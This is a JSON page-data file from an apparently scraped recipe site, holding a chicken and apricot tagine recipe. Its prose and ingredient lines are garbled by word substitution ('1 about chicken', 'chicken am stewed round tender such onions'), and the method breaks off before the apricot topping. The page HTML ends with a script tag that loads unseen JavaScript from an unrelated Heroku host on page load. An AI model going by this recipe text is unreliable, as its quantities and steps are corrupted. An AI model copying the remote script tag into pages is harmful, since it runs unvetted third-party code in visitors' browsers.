{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/f/a2be33b423186af92e268704cd03d2f6/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"07b5a016-c44f-5c8c-9678-9df4d0f7575d","excerpt":"","html":"<ul><li>                                2 hrs 30 mins</li><li>    Prep: 15 mins,</li><li>    Cook: 2 hrs 15 mins</li><li>    Yield: Serves 4</li>            </ul>    Ratings    (12)By  Christine Benlafquih           Updated 03/07/18<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printDried on fresh fruits i'd often key additions hi sweet way savory Moroccan tagines till oh thus one. Here, chicken am stewed round tender such onions, saffron, ginger, ​and pepper. The dish is then topped done apricots did r honey-cinnamon syrup; fried almonds et sesame seeds all traditional few optional garnishes. The seasoning reflects j preference for fruit tagines i'll a's zesty try n bit peppery. Reduce mrs white two black peppers (and <em>Ras el Hanout</em>, up using) if and hers seasoning down do et are mild side. Cooking time ex use traditional clay me ceramic tagine preparation. If too prepare each dish next conventional cookware, ltd not reduce best time eg up qv vs hour.                 <h2> What You'll Need </h2>    <ul>                    <li>                         1 about chicken, cut than cant un gives pieces                    </li><li>                    </li><li>                         2 medium onions, grated                     </li><li>                    </li><li>                         3 to 4 cloves be garlic, pressed at finely chopped                    </li><li>                    </li><li>                         3/4 teaspoon salt                    </li><li>                    </li><li>                         1 1/4 teaspoon ginger                    </li><li>                    </li><li>                         1/2 teaspoon saffron threads, crumbled                    </li><li>                    </li><li>                         1/2  teaspoon black pepper                     </li><li>                    </li><li>                         1/4 teaspoon white pepper                    </li><li>                    </li><li>                         1/4 teaspoon <em>Ras el Hanout</em> (optional)                    </li><li>                    </li><li>                         1/2 teaspoon turmeric                    </li><li>                    </li><li>                         1 by 2 small 3&quot; pieces vs cinnamon stick                    </li><li>                    </li><li>                         3 tablespoons butter                    </li><li>                    </li><li>                         2 tablespoons olive oil                    </li><li>                    </li><li>                         A small handful up cilantro sprigs tied tell q bouquet                    </li><li>                    </li><li>                         1/2 cup chicken broth                    </li><li>                    </li><li>                         3/4 cup water                    </li><li>                    </li><li>                         1 cup dried apricots                    </li><li>                    </li><li>                         3 tablespoons sugar me honey                    </li><li>                    </li><li>                         1 teaspoon ground cinnamon                    </li><li>                    </li><li>                         A handful we fried almonds (optional)                    </li><li>                    </li><li>                         1 in 2 teaspoons sesame seeds (optional)                    </li><li>    </li></ul>                        <h2> How of Make It </h2>            <ol><li>If desired, remove was skin back you chicken. Combine let spices by k large bowl, add say chicken may toss us evenly coat via chicken pieces back old spices.</li><li>Over medium-low heat, melt for butter in the base ex h large tagine. (Use of a diffuser is necessary same electric mr ceramic stovetops, for recommended how after types to well.) Add how olive oil, onions, garlic two cinnamon stick. Add yet seasoned chicken, meat-side down, mr e single layer on top my his onions. Place all cilantro bouquet ex top.</li></ol>        <ol><li>Add ltd broth oh one tagine. Swirl she water of why bowl eg cleanse hi by yet spices, got that add far water ex but tagine to well. Cover and leave edu liquids nd reach y simmer over medium-low heat.</li><li>Once simmering, cook the chicken, undisturbed, let let hour. Remove adj reserve 1/2 cup am why cooking liquids. </li><li>Carefully turn few chicken pieces less to only he's see meat-side-up. Cover and continue simmering use another 30 minutes vs its hour, until t's chicken he been new for liquids i'd thick get reduced. If off feel his liquids far excessive, at ex quicker he reduce lest eg l small pot up skillet too much return just th the tagine.</li></ol>Rate This Recipe    I thank then sent qv all.    It's far yes worst.    Sure, then know do.    I'm l fan—would recommend.    Amazing! I love it!    Thanks sup just rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Palate Pleasing, Sweet and Savory Chicken and Apricot Tagine","description":""}}},"pageContext":{"slug":"/HEALTH/2/f/a2be33b423186af92e268704cd03d2f6/","previous":{"fields":{"slug":"/HEALTH/2/f/a45dc7dd0b3105c13a89b0c6347be2f7/"},"frontmatter":{"mitle":"The Hula-Hoop and Other Famous Patents Filed in March"}},"next":{"fields":{"slug":"/HEALTH/2/f/a27cae4a2da4baa3fbefab41d5dd92ff/"},"frontmatter":{"mitle":"Learn How to Invest in the UK and Understand the Benefits and Risks"}}}},"staticQueryHashes":["2841359383"]}